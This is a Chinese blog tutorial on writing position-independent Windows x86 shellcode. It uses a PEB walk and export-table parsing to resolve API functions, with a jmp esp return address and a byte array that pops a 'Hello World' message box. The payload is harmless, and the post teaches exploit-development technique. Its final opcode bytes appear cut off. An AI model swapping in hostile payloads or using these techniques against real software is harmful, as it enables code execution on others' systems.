制作跨平台的shellcode

利用 jmp esp的原理 windows中有很多这种指令
先用dbg找一个
制作跨平台的shellcode
再把shellcode 转成opcode可以先测试一下(代码与opcode在最后)
制作跨平台的shellcode
制作跨平台的shellcode
后面多搞一些90 90 因为有的函数有几个参数
制作跨平台的shellcode
运行
制作跨平台的shellcode
制作跨平台的shellcode
制作跨平台的shellcode
制作跨平台的shellcode

// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
    __asm {
        pushad;
        sub esp, 0x100;
        jmp tag_Shellcode;

        //[tag_Next-0x52] "GetProcAddress"
        _asm _emit(0x47) _asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x50)
        _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63) _asm _emit(0x41)
        _asm _emit(0x64) _asm _emit(0x64) _asm _emit(0x72) _asm _emit(0x65)
        _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_Next-0x44] "LoadLibraryExA\0"
        _asm _emit(0x4c) _asm _emit(0x6f) _asm _emit(0x61) _asm _emit(0x64)
        _asm _emit(0x4c) _asm _emit(0x69) _asm _emit(0x62) _asm _emit(0x72)
        _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x79) _asm _emit(0x45)
        _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_Next-0x35]  "User32.dll\0"
        _asm _emit(0x55) _asm _emit(0x73) _asm _emit(0x65) _asm _emit(0x72)
        _asm _emit(0x33) _asm _emit(0x32) _asm _emit(0x2e) _asm _emit(0x64)
        _asm _emit(0x6c) _asm _emit(0x6c) _asm _emit(0x00)

        //[tag_Next-0x2A]  "MessageBoxA\0"
        _asm _emit(0x4d) _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73)
        _asm _emit(0x61) _asm _emit(0x67) _asm _emit(0x65) _asm _emit(0x42)
        _asm _emit(0x6f) _asm _emit(0x78) _asm _emit(0x41) _asm _emit(0x00)

        //[tag_Next-0x1E]  "ExitProcess\0"
        _asm _emit(0x45) _asm _emit(0x78) _asm _emit(0x69) _asm _emit(0x74)
        _asm _emit(0x50) _asm _emit(0x72) _asm _emit(0x6f) _asm _emit(0x63)
        _asm _emit(0x65) _asm _emit(0x73) _asm _emit(0x73) _asm _emit(0x00)

        //[tag_Next-0x12]  "Hello World!\0"
        _asm _emit(0x48) _asm _emit(0x65) _asm _emit(0x6c) _asm _emit(0x6c)
        _asm _emit(0x6f) _asm _emit(0x20) _asm _emit(0x57) _asm _emit(0x6f)
        _asm _emit(0x72) _asm _emit(0x6c) _asm _emit(0x64) _asm _emit(0x21)
        _asm _emit(0x00)

        tag_Shellcode:
                     call tag_Next;
                 tag_Next:
                     pop ebx;
                     //获取关键模块基址
                     mov esi, dword ptr fs : [0x30];
                     mov esi, [esi + 0x0c];
                     mov esi, [esi + 0x1c];
                     mov esi, [esi];
                     mov edx, [esi + 0x08];

                     //获取GetProcAddress的函数地址
                     push ebx;
                     push edx;
                     call fun_GetProcAddress;
                     mov esi, eax;

                     //获取LoadLibraryExA的函数地址
                     push edx;
                     lea ecx, [ebx - 0x44];
                     push ecx;
                     push edx;
                     call eax;
                     pop edx;

                     //调用Payload部分
                     push ebx;
                     push esi;
                     push eax;
                     push edx;
                     call fun_Payload;

                 fun_GetProcAddress:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x0c;
                     push edx;

                     //获取EAT、ENT和EOT的地址
                     mov edx, [ebp + 0x08];
                     mov esi, [edx + 0x3c];
                     lea esi, [edx + esi];
                     mov esi, [esi + 0x78];
                     lea esi, [edx + esi];
                     mov edi, [esi + 0x1c];
                     lea edi, [edx + edi];
                     mov[ebp - 0x04], edi;
                     mov edi, [esi + 0x20];
                     lea edi, [edx + edi];
                     mov[ebp - 0x08], edi;
                     mov edi, [esi + 0x24];
                     lea edi, [edx + edi];
                     mov[ebp - 0x0c], edi;

                     //循环对比ENT中的函数名
                     xor eax, eax;
                     jmp tag_FirstCmp;
                 tag_CmpFunNameLoop:
                     inc eax;
                 tag_FirstCmp:
                     mov esi, [ebp - 0x08];
                     mov esi, [esi + 4 * eax];
                     mov edx, [ebp + 0x08];
                     lea esi, [edx + esi];
                     mov ebx, [ebp + 0x0c];
                     lea edi, [ebx - 0x53];
                     mov ecx, 0x0e;
                     cld;
                     repe cmpsb;
                     jne tag_CmpFunNameLoop;

                     //成功后找到对应的序号
                     mov esi, [ebp - 0x0c];
                     xor edi, edi;
                     mov di, [esi + eax * 2];

                     //使用序号作为索引,找到函数名所对应的函数地址
                     mov edx, [ebp - 0x04];
                     mov esi, [edx + edi * 4];
                     mov edx, [ebp + 0x08];

                     //返回获取到的关键函数地址
                     lea eax, [edx + esi];
                     pop edx;
                     mov esp, ebp;
                     pop ebp;
                     retn 0x08;

                 fun_Payload:
                     push ebp;
                     mov ebp, esp;
                     sub esp, 0x08;
                     mov ebx, [ebp + 0x14];

                     //获取MessageBoxA的函数地址
                     lea ecx, [ebx - 0x35];
                     push 0;
                     push 0;
                     push ecx;
                     call[ebp + 0x0c];
                     lea ecx, [ebx - 0x2A];
                     push ecx;
                     push eax;
                     call[ebp + 0x10];
                     mov[ebp - 0x04], eax;

                     //获取ExitProcess的函数地址
                     lea ecx, [ebx - 0x1E];
                     push ecx;
                     push[ebp + 0x08];
                     call[ebp + 0x10];
                     mov[ebp - 0x08], eax;

                     //显示
                     lea ecx, [ebx - 0x12];
                     push 0;
                     push ecx;
                     push ecx;
                     push 0;
                     call[ebp - 0x04];
                     push 0;
                     call[ebp - 0x08];
                     mov esp, ebp;
                     pop ebp;
                     retn 0x10;
    }

    return 0;
}
#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
    char bShellcode[] = { "\x60\x81\xEC\x00\x01\x00\x00\xEB\x4E\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x52\x8D\x4B\xBC\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAD\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCB\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD6\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE2\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEE\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2" };

    __asm {
        lea eax, bShellcode;
        push eax;
        ret
    }
    return 0;
}
"\x60\x81\xEC\x00\x01\x00\x00\xEB\x4E\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x21\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x14\x00\x00\x00\x8B\xF0\x52\x8D\x4B\xBC\x51\x52\xFF\xD0\x5A\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAD\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCB\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD6\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE2\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEE\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8\x8B\xE5\x5D\xC2"

77460a9b  jmp esp 地址

{
0x60, 0x81, 0xEC, 0x00, 0x01, 0x00, 0x00, 0xEB, 0x4E, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63,
0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72,
0x61, 0x72, 0x79, 0x45, 0x78, 0x41, 0x00, 0x55, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x6C,
0x6C, 0x00, 0x4D, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x6F, 0x78, 0x41, 0x00, 0x45, 0x78,
0x69, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x00, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x20,
0x57, 0x6F, 0x72, 0x6C, 0x64, 0x21, 0x00, 0xE8, 0x00, 0x00, 0x00, 0x00, 0x5B, 0x64, 0x8B, 0x35,
0x30, 0x00, 0x00, 0x00, 0x8B, 0x76, 0x0C, 0x8B, 0x76, 0x1C, 0x8B, 0x36, 0x8B, 0x56, 0x08, 0x53,
0x52, 0xE8, 0x14, 0x00, 0x00, 0x00, 0x8B, 0xF0, 0x52, 0x8D, 0x4B, 0xBC, 0x51, 0x52, 0xFF, 0xD0,
0x5A, 0x53, 0x56, 0x50, 0x52, 0xE8, 0x6E, 0x00, 0x00, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C,
0x52, 0x8B, 0x55, 0x08, 0x8B, 0x72, 0x3C, 0x8D, 0x34, 0x32, 0x8B, 0x76, 0x78, 0x8D, 0x34, 0x32,
0x8B, 0x7E, 0x1C, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xFC, 0x8B, 0x7E, 0x20, 0x8D, 0x3C, 0x3A, 0x89,
0x7D, 0xF8, 0x8B, 0x7E, 0x24, 0x8D, 0x3C, 0x3A, 0x89, 0x7D, 0xF4, 0x33, 0xC0, 0xEB, 0x01, 0x40,
0x8B, 0x75, 0xF8, 0x8B, 0x34, 0x86, 0x8B, 0x55, 0x08, 0x8D, 0x34, 0x32, 0x8B, 0x5D, 0x0C, 0x8D,
0x7B, 0xAD, 0xB9, 0x0E, 0x00, 0x00, 0x00, 0xFC, 0xF3, 0xA6, 0x75, 0xE3, 0x8B, 0x75, 0xF4, 0x33,
0xFF, 0x66, 0x8B, 0x3C, 0x46, 0x8B, 0x55, 0xFC, 0x8B, 0x34, 0xBA, 0x8B, 0x55, 0x08, 0x8D, 0x04,
0x32, 0x5A, 0x8B, 0xE5, 0x5D, 0xC2, 0x08, 0x00, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x08, 0x8B, 0x5D,
0x14, 0x8D, 0x4B, 0xCB, 0x6A, 0x00, 0x6A, 0x00, 0x51, 0xFF, 0x55, 0x0C, 0x8D, 0x4B, 0xD6, 0x51,
0x50, 0xFF, 0x55, 0x10, 0x89, 0x45, 0xFC, 0x8D, 0x4B, 0xE2, 0x51, 0xFF, 0x75, 0x08, 0xFF, 0x55,
0x10, 0x89, 0x45, 0xF8, 0x8D, 0x4B, 0xEE, 0x6A, 0x00, 0x51, 0x51, 0x6A, 0x00, 0xFF, 0x55, 0xFC,
0x6A, 0x00, 0xFF, 0x55, 0xF8, 0x8B, 0xE5, 0x5D, 0xC2
};

猜你喜欢

转载自blog.51cto.com/haidragon/2125054